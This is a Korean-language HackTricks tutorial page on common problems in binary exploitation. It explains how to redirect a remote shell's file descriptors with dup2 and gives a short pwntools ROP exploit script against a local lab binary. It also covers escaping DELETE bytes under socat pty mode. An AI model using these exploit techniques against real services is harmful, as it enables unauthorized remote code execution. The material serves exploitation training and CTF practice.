3.9 KiB
Common Exploiting Problems
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
원격 익스플로잇에서의 FD
예를 들어 **system('/bin/sh')
**를 호출하는 익스플로잇을 원격 서버에 전송할 때, 이는 서버 프로세스에서 실행되며, /bin/sh
는 stdin(FD: 0
)에서 입력을 기대하고 stdout과 stderr(FDs 1
및 2
)에 출력을 인쇄합니다. 따라서 공격자는 셸과 상호작용할 수 없습니다.
이를 해결하는 방법은 서버가 시작될 때 FD 번호 3
(리스닝용)을 생성하고, 그 다음에 당신의 연결이 **FD 번호 4
**에 있을 것이라고 가정하는 것입니다. 따라서 시스템 호출 **dup2
**를 사용하여 stdin(FD 0)과 stdout(FD 1)을 FD 4(공격자의 연결)로 복제할 수 있으므로, 셸이 실행되면 연락할 수 있게 됩니다.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
socat은 이미 **stdin
**과 **stdout
**을 소켓으로 전송합니다. 그러나 pty
모드는 DELETE 문자를 포함합니다. 따라서 \x7f
( DELETE
-)를 보내면 당신의 익스플로잇의 이전 문자를 삭제합니다.
이를 우회하기 위해서는 전송되는 모든 \x7f
앞에 이스케이프 문자 \x16
을 추가해야 합니다.
여기에서 이 동작의 예제를 찾을 수 있습니다.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.